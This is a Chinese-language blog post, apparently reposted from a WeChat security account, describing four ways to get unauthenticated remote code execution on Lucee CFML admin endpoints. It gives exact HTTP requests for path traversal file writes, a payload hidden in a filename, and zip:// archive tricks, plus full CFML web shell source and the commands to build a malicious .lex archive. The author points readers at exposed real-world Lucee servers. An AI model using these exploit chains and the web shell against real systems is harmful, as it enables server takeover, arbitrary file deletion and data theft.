几天前先知论坛里看了一篇翻译文章。
https://xz.aliyun.com/t/9121
入侵苹果服务最终RCE,代码审计挖掘了0day,得到巨额赏金,过程非常详细。是黑客中的豪杰。
唯一的缺点就是让我们这种菜鸡获得了0day,然后开始乱搞。
虽然这篇文章丝毫没有隐瞒被攻击的服务器,也没有隐瞒自己挖掘出来的0day。但很多时候这种分享文章打码不那么规范,也能从蛛丝马迹中获取有漏洞的地址或者有漏洞的cms。
请自行用搜索引擎去搜lucee,都是美国的服务器。
翻译有一定生硬的地方,但总得来说文章中一共介绍了三种RCE的方法。
首先我们需要知道这个lucce访问不存在的cfm文件会泄露绝对路径,访问存在的cfm,如果参数不正确也会报错。
一共有三处较重要的接口,默认配置错误导致未授权。
/lucee/admin/imgProcess.cfm
/lucee/admin/admin.search.index.cfm
/lucee/admin/ext.applications.upload.cfm
第一种RCE的方法
imgProcess.cfm这是个图片上传接口,参数file和imgsrc,前者是文件路径,后者是内容。
这直接就是一个任意文件上传。
<cfoutput>
<cffile action="write" file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#__#url.file#" Output="#form.imgSrc#" createPath="true">
</cfoutput>
但从代码中来看,file被拼接进temp/admin-ext-thumbnails/__后面,缓存目录不在web目录中,所以需要使用../逃脱目录。像这样。
temp/admin-ext-thumbnails/__/../../../context/pwn.cfm
但linux系统中无法穿越不存在的目录__,原文给出了解决方法,但并没有翻译清楚【幸运地是,expandPath会创建不存在的路径并将路径以字符串返回】。
自己测试中发现,只需要先file=/test.cfm就能创建__目录,然后就可以file=/__/../../../context/pwn.cfm进行穿越了。
那么答案就呼之欲出了
第一步,POST
/lucee/admin/imgProcess.cfm?file=/pwn.cfm
imgsrc=test
第二步,POST
/lucee/admin/imgProcess.cfm?file=/../../../context/pwn.cfm
imgsrc=cfm_shell
第三步
/lucee/pwn.cfm
不过网上没有linux系统的cfmshell,这里自己改了一个,windows版自寻。
<head>
<meta http-equiv="content-type" content="text/html;charset=big5">
</head>
<style type="text/css">
input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
</style>
<form method="POST" action="">
<br />
<span style="font:11px Verdana;">cmd: </span>
<input name="cmd" type="text" size="40" value="ls"> <br />
<span style="font:11px Verdana;">param: </span>
<input name="param" type="text" size="40">
<input type="submit" value="run">
</form>
<CFSET O = "" />
<CFTRY>
<CFEXECUTE Name="#Form.cmd#" Arguments=" #Form.param#" TimeOut="60" outputfile="/tmp/cfm.log" />
<CFFILE ACTION="Read" FILE="/tmp/cfm.log" VARIABLE="O">
<CFCATCH Type="Any"></CFCATCH>
</CFTRY>
<CFOUTPUT>
<pre>
#O#
</CFOUTPUT>
第二种RCE的方法
原作者采用第二种RCE的办法原因是苹果有waf拦截了../,所以一般用不到第二种方法RCE,用第一种就行了。
admin.search.index.cfm这个接口是用来生成searchindex.cfm接口,可以简单理解为copy功能,有两个参数,dataDir和LUCEEARCHIVEZIPPATH,简单理解就是把LUCEEARCHIVEZIPPATH指定的目录copy到dataDir指定的目录里。同时dataDir也可以新建目录,所以在第一种RCE中,也可以用这个接口来新建__目录。
copy的过程中还会删除掉那个目录里所有的文件,所以也是个任意文件删除,千万注意别把别人的代码全删掉了。
copy的过程中,实际是将LUCEEARCHIVEZIPPATH目录的test.xyz.cfm的文件名test.xyz以json形式写入dataDir/search.index.cfm中,对内容也有要求。同时还在dataDir目录生成一些其他文件。
所以我们可以将cfm恶意代码藏在xyz中,也就是制作文件名如下的文件。
server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm
当然得在linux系统下touch,内容为
"#stText.Buttons.save#"
这个文件可以在由imgProcess.cfm接口生成,
由于恶意代码藏在文件名当中,理所当然文件名不能太长,所以得先写了一个很短的小马,再利用小马写新shell。同时要求服务器是linux系统,且需要绝对路径。
步骤是这样的。
第一步,POST
/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d
imgsrc="#stText.Buttons.save#"
第二步
/lucee/admin/admin.search.index.cfm?dataDir=/opt/lucee/tomcat/webapps/ROOT/WEB-INF/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/opt/lucee/tomcat/webapps/ROOT/WEB-INF/lucee/temp/admin-ext-thumbnails/__/
第三步
/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell
第四步
/lucee/rootxharsh/PoC.cfm
在第三步的过程中,如果回显是{},说明LUCEEARCHIVEZIPPATH传参有误,xyz部分并没有写入searchindex.cfm文件中。
第三种RCE的方法
使用第三种RCE的方法原作者是因为不存在imgProcess.cfm,无法用其创建合规的test.xyz.cfm文件。
在实际情况中,还存在目标服务器是windows系统的情况,无法使用imgProcess.cfm接口创建server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm文件。
因此使用ext.applications.upload.cfm接口,这个文件上传接口在上传lex文件时还要求adminType参数。只要不传这个参数会报错,但文件实际还是上传到缓存目录(temp)里了。其他格式则无法上传成功。
上传POC如下
<html>
<body>
<form action="http://xxx.com/lucee/admin/ext.applications.upload.cfm" method="post" enctype="multipart/form-data">
<input type="file" name="extfile" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
lex是什么格式呢?其实上就是个压缩文件,因此admin.search.index.cfm接口可以使用zip://协议将其copy到searchindex.cfm中。
除此之外,admin.search.index.cfm实际上也支持http,ftp等很多协议,实际上是个SSRF,但由于代码必须选择目录而不是文件,所以这个SSRF对我们没有帮助。
很显然,这个lex文件只能在linux系统中制作。
mkdir test
cd test
echo '"#stText.Buttons.save#"' > "server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm"
zip -r test.lex .
步骤如下
第一步,上传test.lex
/lucee/admin/ext.applications.upload.cfm
第二步
/lucee/admin/admin.search.index.cfm?dataDir=/opt/lucee/tomcat/webapps/ROOT/WEB-INF/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=zip:///opt/lucee/tomcat/webapps/ROOT/WEB-INF/lucee/temp/test.lex
第三步
/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell
第四步
/lucee/rootxharsh/PoC.cfm
第四种RCE的方法
按理说到这儿应该结束了,但实际情况中还存在原作者没说的第四种RCE的情况。
不存在imgProcess.cfm,且ext.applications.upload.cfm代码不一样。
https://github.com/lucee/unoffical-Lucee-no-jre/blob/a48690b729469db44662b8624419f0911719326a/source/cfml/context/admin/admin.search.index.cfm
<cfdirectory action="list" directory="#luceeArchiveZipPath#/admin" filter="*.*.cfm" name="qFiles" sort="name" />
和原作者展示的代码不一样
<cfdirectory action="list" directory="#luceeArchiveZipPath#" filter="*.*.cfm" name="qFiles" sort="name" />
luceeArchiveZipPath参数被拼接了/admin,在实际情况中,不知道源码的情况下,可以使用luceeArchiveZipPath传http协议,使其报错,来看它有没有拼接/admin。如下图,一个有一个没有
这样执行第三种方法的第二步时,zip:///xxx/test.lex变成了zip:///xxx/test.lex/admin,这里也无法使用%00截断。
又没有imgProcess.cfm,因此前三种RCE全部失效。
如果参考php代码中的zip://协议,是可以指定zip内部的文件的。
zip://C:xampphtdocstest1.zip#test.php
实际上也不行,折腾了半天,最后翻了翻lucee的源码,发现了zip协议的正确用法,原来用感叹号就行了。
<cfif not fileExists('zip://#zipfile#!config.xml')>
那么先制作一个admin文件夹中有xxx.cfm文件的lex压缩文件
mkdir test
cd test
mkdir admin
echo '"#stText.Buttons.save#"' > "server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm"
cd ..
zip -r admin.lex .
步骤为
第一步,上传admin.lex
/lucee/admin/ext.applications.upload.cfm
第二步
/lucee/admin/admin.search.index.cfm?dataDir=/opt/lucee/tomcat/webapps/ROOT/WEB-INF/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=zip:///opt/lucee/tomcat/webapps/ROOT/WEB-INF/lucee/temp/admin.lex!
第三步
/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell
第四步
/lucee/rootxharsh/PoC.cfm
本文始发于微信公众号(聚鼎安全):实战0day踩坑记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论